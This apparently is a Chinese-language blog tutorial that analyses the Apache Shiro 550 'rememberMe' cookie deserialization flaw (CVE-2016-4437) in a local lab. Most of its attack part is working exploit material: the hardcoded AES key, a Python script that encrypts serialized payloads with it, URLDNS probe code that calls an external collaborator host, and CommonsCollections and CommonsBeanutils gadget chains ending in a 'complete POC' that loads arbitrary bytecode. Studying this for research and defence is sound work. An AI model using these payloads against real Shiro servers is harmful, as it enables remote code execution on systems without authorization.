概述
Shiro框架
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。
Shiro反序列化漏洞——Shiro550(CVE-2016-4437)
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户的登录信息加密编码,然后存储在Cookie中。对于服务端,如果检测到用户的Cookie,首先会读取rememberMe的Cookie值,然后进行base64解码,然后进行AES解密再反序列化。
反过来思考一下,如果我们构造该值为一个cc链序列化后的字符串,并使用该密钥进行AES加密后再进行base64编码,那么这时候服务端就会去进行反序列化我们的payload内容,这样就可以达到命令执行的效果。
漏洞流程
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作
影响版本
Apache Shiro <= 1.2.4
特征判断
响应包中包含字段remember=deleteMe字段
漏洞环境搭建
下载shiro1.2.4源码
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4 #切换到指定版本分支
根据下载的源码创建maven项目
idea下创建
选择shiro\sample\web目录
配置pom.xml依赖文件
更改maven配置文件和仓库位置,添加jstl版本
注释以下两处,不然会报404错误
添加modules和artifacts
编译打包
命令行下mvn compile
编译生成target
文件
命令行下mvn package
打包生成war
文件
添加tomcat服务
添加deployment
最后点击运行即可
漏洞分析
源码下载
在进行漏洞调试之前,需要下载maven依赖的源码 ,以下两个是我们主要用到的源码
漏洞点
在我们登录shiro之后,如果点击了remember选项,网站就会生成一个Cookie来记住你的登录信息
可以看到在登录之后生成了一串base64来作为登录用户的Cookie。实际上后端是对用户登录信息进行序列化,然后进行AES加密后base64,这便是我们的Cookie。
如果我们能构造恶意的序列化代码,然后使用相同的方式加密传入,那么后端就会相应的解密反序列化,然后就会执行我们的恶意代码。
加密过程分析
可以先全局搜索Cookie有关的类方法等。问题是出现在org.apache.shiro:shiro-web-1.2.4
下的CookieRememberMeManager
类中
在rememberSerializedIdentity()
方法中会对我们传入的序列化字符串serialized
进行base加密并将其作为Cookie。跟进,看哪里调用了该方法
在AbstractRememberMeManager
类的rememberIdentity()
方法中,先对传入的byte通过convertPrincipalsToBytes()
方法处理,再次查看哪里调用了rememberIdentity()
最终跟进到onSuccessfulLogin()
方法中,再次跟进,可以看到该方法被rememberMeSuccessfulLogin()
调用,这里应该就是”记住我”的功能点了,我们再这里下个断点调试
使用root登录,跟到了rememberMeSuccessfulLogin()
中,单步调试
向下跟进到onSuccessfulLogin()
方法中,调用forgetIdentity()
方法对subject
进行处理,subject
对象表示单个用户的状态和安全操作,包含认证、授权等,跟进
在forgetIdentity()
中,对subject
进行了处理,继续跟进forgetIdentity()
跟进forgetIdentity()
方法,getCookie()
方法获取请求的cookie,接着会进入到removeFrom()
方法
跟进removeFrom()
方法,removeForm主要在response头部添加字段Set-Cookie: rememberMe=deleteMe
再回到onSuccessfulLogin()
方法中,如果设置rememberMe
则进入rememberIdentity()
,跟进看是怎么处理的
在rememberIdentity()
中,调用了convertPrincipalsToBytes()
对用户名进行了处理,跟进
在convertPrincipalsToBytes()
方法中,先对用户名进行序列化,然后使用encrypt()
进行加密,跟进encrypt()
在encrypt()
中,可以看到使用的加密算法是AES,使用AES算法对cookie进行加密。在这里可以看见一些加密的信息,跟进看一下
getEncryptionCipherKey()
方法返回加密的密钥,我们跟进看一下加密的密钥是什么
看value write,哪里给encryptionCipherkey
赋值
在setEncryptionCipherKey()
赋值的,跟进看哪里调用了
在setCipherKey()
中同时给加解密密钥赋值,继续跟进
在AbstractRememberMeManager()
方法中赋值,可以看见这里这个常量应该就是密钥
可以看见密钥DEFAULT_CIPHER_KEY_BYTES是一个常量,这里就是漏洞利用的关键点
加密密钥:
kPH+bIxk5D2deZiIxcaaaA==
加密完成后,回到rememberIdentity()
,这里的bytes就是加密之后的cookie
跟进rememberSerializedIdentity()
,最终将我们加密之后的cookie先进行base64编码,再存储到当前会话的Cookie中
至此就是根据用户信息加密生成Cookie的完整过程
解密过程分析
下面我们来调试一下解密过程,在AbstractRememberMeManager.getRememberedPrincipals()
下一个断点
在bp中发个包,注意此时我们要把Cookie中的sessionID删除,不然后端不会解析我们的加密串
接着跟进CookieRememberMeManager.getRememberedSerializedIdentity()
,在其中获取cookie然后将其base64解密
接着跟进AbstractRememberMeManager.convertBytesToPrincipals()
跟进decrypt()
继续跟进JcaCipherService.decrypt()
,这里的解密密钥通过getDecryptionCipherKey()
获得,为固定值
此处代码的主要逻辑是先生成一个初始向量iv
,可以看见使用了arraycopy()
函数,iv
是从ciphertext
中复制的,也就是说初始向量是我们密文的一部分。接着将密文减去初始向量,然后再将其解密。
最终是调用的是java自带的AES解密方法,解密之后返回并将其反序列化
跟进deserialize()
至此为完整的Cookie解密过程
结构概览
漏洞利用
使用URLDNS链进行漏洞探测
我们可以使用URLDNS链来测试是否存在反序列化漏洞
利用URLDNS生成序列化文件
//URLDNS.java
import java.io.*;
import java.util.HashMap;
import java.net.URL;
import java.lang.reflect.Field;
public class URLDNS {
public static void main(String[] args) throws Exception{
HashMap map=new HashMap();
URL url=new URL("http://e2hvmezvglr70to8gako0p6ycpig65.burpcollaborator.net");
Class clazz=Class.forName("java.net.URL");
Field hashcode=clazz.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,123);
// System.out.println(hashcode.get(url));
map.put(url,"test");
hashcode.set(url,-1);
serialize(map);
// unserialize("ser.bin");
}
//序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
//反序列化
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object object=ois.readObject();
return object;
}
}
接着使用Python对序列化文件进行AES加密
from Crypto.Cipher import AES
import uuid
import base64
def convert_bin(file):
with open(file,'rb') as f:
return f.read()
def AES_enc(data):
BS=AES.block_size
pad=lambda s:s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()
key="kPH+bIxk5D2deZiIxcaaaA=="
mode=AES.MODE_CBC
iv=uuid.uuid4().bytes
encryptor=AES.new(base64.b64decode(key),mode,iv)
ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))).decode()
return ciphertext
if __name__=="__main__":
data=convert_bin("ser.bin")
print(AES_enc(data))
我们将生成的base64字符串传入cookie中,注意这里我们将session删除
接着可以收到了我们发送的请求,说明漏洞存在
Shiro_CC3.2.1利用链
由于在Shiro中重写了readObject,然后能够反序列化我们传入的payload,我们先尝试使用CC6这条对CC和jdk版本没有限制的链来攻击。但是在shiro中,默认其实是没有CC依赖的,所以在测试学习的时候需要我们在maven中手动添加上CC3.2.1依赖。
尝试攻击
传入payload发现没有反应,查看服务器日志
无法加载Transformer数组类,既然无法加载数组类,那么我们将payload改写,不使用数组类
改写
在CC2中,我们直接使用了InvokerTransformer类来加载,后半条链使用的是动态加载类,这样可以绕过Transformers数组,因为如果后半条链使用Runtime的话,需要反射来递归加载,这样就必须使用到数组
接着在CC2中,我们使用的是PriorityQueue
这个类,但是这个类是commons-collections4才有的类,我们可以尝试使用无依赖的版本,也就是使用CC6的后半条链HashMap
我们想要调用InvokerTransformer.Transformer()
,在CC6中是通过LazyMap.get()
来调用的,对象是factory
,将其链接起来
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class ShiroCC {
public static void main(String[] args) throws Exception{
//CC3
TemplatesImpl templatesimpl=new TemplatesImpl();
Class c=templatesimpl.getClass();
Field _nameField=c.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templatesimpl,"aaa");
Field _byteCodesField=c.getDeclaredField("_bytecodes");
_byteCodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\loader\\test.class"));
byte[][] codes= {code};
_byteCodesField.set(templatesimpl,codes);
//CC2
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
//CC6
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,templatesimpl);
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"eee");
lazyMap.remove(templatesimpl);
//反射修改LazyMap类的factory属性
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
serialize(hashMap2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
//反序列化
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object object=ois.readObject();
return object;
}
}
生成pyaload文件并将其加密发送,成功执行
为什么Shiro无法反序列化Transformers数组
在我们反序列化的时候,在readObject之前,初始化了一个ClassResolvingObjectInputStream
类,调用它的readObject()
我们跟进看一下,在ClassResolvingObjectInputStream
类中有一个resolveClass()
方法,实际上这个方法在readObject()
时会调用
我们在ObjectInputStream中验证一下
readObject()
调用readObject0()
readObject0()
中调用readClassDesc()
readClassDesc()
中调用readNonProxyDesc()
可以看见,在readNonProxyDesc()
中调用了resolveClass()
我们跟进 resolveClass()
中的forName()
,可以看到这里加载了HashMap
跟进loadClass()
,这里调用了Tomcat的WebApp
这个加载器的loadClass()
,跟进(需要下载Tomcat源码)
但事实上,真正调用到此处时,使用的是URLClassLoader
根据流程,这个ParallelWebappClassLoader
类加载器会先寻找内部缓存,如果找不到的话再交给URLClassLoader
。我们看图中的path值,能找得到,反而才奇怪。找的其实是Transformer.class
的路径,但是并不存在这个路径,所以当然找不到。因此,这就是Shiro找不到Transformer数组类型的真正原因。经过测试,把数组去掉,正常初始化。
Shiro_CB1.8.3无依赖利用链
在Shiro中没有CC依赖,但是有一个叫commons-beanutils
的依赖。这个依赖主要是扩充了JavaBean语法,能够动态调用符合JavaBean的类方法。
commons-beanutils介绍
Apache Commons是一个Apache项目,提供了功能齐全的通用Java组件,BeanUtils是对Java反射和自检(introspection)API的包装,让使用变得更加容易。
commons-beanutils使用举例
有一个符合JavaBean的Person类
public class Person {
private String name;
private int age;
public Person(String name,int age){
this.name=name;
this.age=age;
}
public String getName(){
return name;
}
public void setName(String name){
this.name=name;
}
public int getAge(){
return age;
}
public void setAge(int age){
this.age=age;
}
}
我们可以直接调用其方法,也可以使用CB进行动态调用
import org.apache.commons.beanutils.PropertyUtils;
public class BeanTest {
public static void main(String[] args) throws Exception{
Person person=new Person("aaa",18);
// System.out.println(person.getName());
//使用CB进行调用
System.out.println(PropertyUtils.getProperty(person,"name"));
}
}
Gadget Chain
CB链构造
在CC2链中,我们是通过调用它的newTransformer()
方法来进行动态类加载的。而在该类的getOutputProperties()
方法恰好调用了newTransformer()
方法,而该方法又恰好是符合JavaBean
的,可以考虑使用CB来动态加载
测试动态加载
public class ShiroCB {
public static void main(String[] args) throws Exception{
//CC2
TemplatesImpl templatesimpl=new TemplatesImpl();
Class c=templatesimpl.getClass();
Field _nameField=c.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templatesimpl,"aaa");
Field _byteCodesField=c.getDeclaredField("_bytecodes");
_byteCodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\loader\\test.class"));
byte[][] codes= {code};
_byteCodesField.set(templatesimpl,codes);
PropertyUtils.getProperty(templatesimpl,"outputProperties");
}
成功执行
下一步我们需要寻找哪里调用了getProperty()方法
后两个都是没有继承Serializable接口的,我们重点看BeanComparator
类
BeanComparator
类是在compare()
方法调用的getProperty()
方法,而在CC2这条链中,我们也使用了compare()
方法。我们可以将这几条链拼接一下
测试
public class ShiroCB {
public static void main(String[] args) throws Exception{
//CC2
TemplatesImpl templatesimpl=new TemplatesImpl();
Class c=templatesimpl.getClass();
Field _nameField=c.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templatesimpl,"aaa");
Field _byteCodesField=c.getDeclaredField("_bytecodes");
_byteCodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\loader\\test.class"));
byte[][] codes= {code};
_byteCodesField.set(templatesimpl,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(templatesimpl);
priorityQueue.add(2);
serialize(priorityQueue);
}
报错找不到方法
实际上这里在调用add()
方法的时候就会调用到compare()
而在compare中,实际上我们还没有传入对象,所以找不到方法。所以可以先将BeanComparator初始化为空,再通过反射修改
修改
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(2);
Class clazz=PriorityQueue.class;
Field comparatorField = clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);
还是报错,问题出在这里,TemplatesImpl不能强转成Compare类型
如果我们add的时候赋为空,肯定不会报错,但是这样也执行不了
有两种修改方案
- 一种先add数字,然后再使用反射来修改值
- 第二种就是使用
TransformingComparator
类
继续修改,使用CC4中的TransformingComparator
类,可以执行
但是问题来了,这里的TransformingComparator
类是CommonsColections4
中的类,但是在Shiro中并没有使用到该依赖。
实际上,我们在后面又反射修改了PriorityQueue
类的值为BeanComparator
类,所以在我们序列化的文件中是不包含TransformingComparator
类的
尝试执行,仍然无法执行,报错
可以看到,无法加载ComparableComparator
类,这个类是在CC依赖里的,但是明明我们ser.bin中没有使用cc依赖,那么为什么还是会有这个类呢?
实际上,CB依赖在设计上有部分和CC依赖重叠了,在BeanComparator
类中,我们调用的是一个参数的构造函数
可以看到,这里默认对comparator初始化为ComparableComparator类,所以是这里导致的无法加载CC依赖类
接下来我们可以使用两个参数的构造方法,传入一个CB或者jdk的comparator
该类有两个要求,一个是继承Compare类,另一个是需要继承Serializable接口
编写脚本寻找
较为合适的有AttrCompare
类,其为jdk自带的类
测试执行,成功执行
完整POC
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class ShiroCB {
public static void main(String[] args) throws Exception{
//CC2
TemplatesImpl templatesimpl=new TemplatesImpl();
Class c=templatesimpl.getClass();
Field _nameField=c.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templatesimpl,"aaa");
Field _byteCodesField=c.getDeclaredField("_bytecodes");
_byteCodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\loader\\test.class"));
byte[][] codes= {code};
_byteCodesField.set(templatesimpl,codes);
// Field tfactory = c.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templatesimpl,new TransformerFactoryImpl());
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
//CC2
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templatesimpl);
priorityQueue.add(templatesimpl);
Class clazz=PriorityQueue.class;
Field comparatorField = clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);
// Class clazz=beanComparator.getClass();
// Field transformerdeclaredField = clazz.getDeclaredField("transformer");
// transformerdeclaredField.setAccessible(true);
// transformerdeclaredField.set(transformingComparator,invokerTransformer);
//
serialize(priorityQueue);
// unserialize("ser.bin");
}
//序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
//反序列化
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object object=ois.readObject();
return object;
}
}
师傅你好,我想问问我在安装环境的时候执行git checkout命令,无法切换到1.2.4分支,而是直接报错error: pathspec ‘shiro-1.2.4’ did not match any file(s) known to git,请问有什么办法解决吗
是不是分支名搞错了,尝试
git checkout shiro-root-1.2.4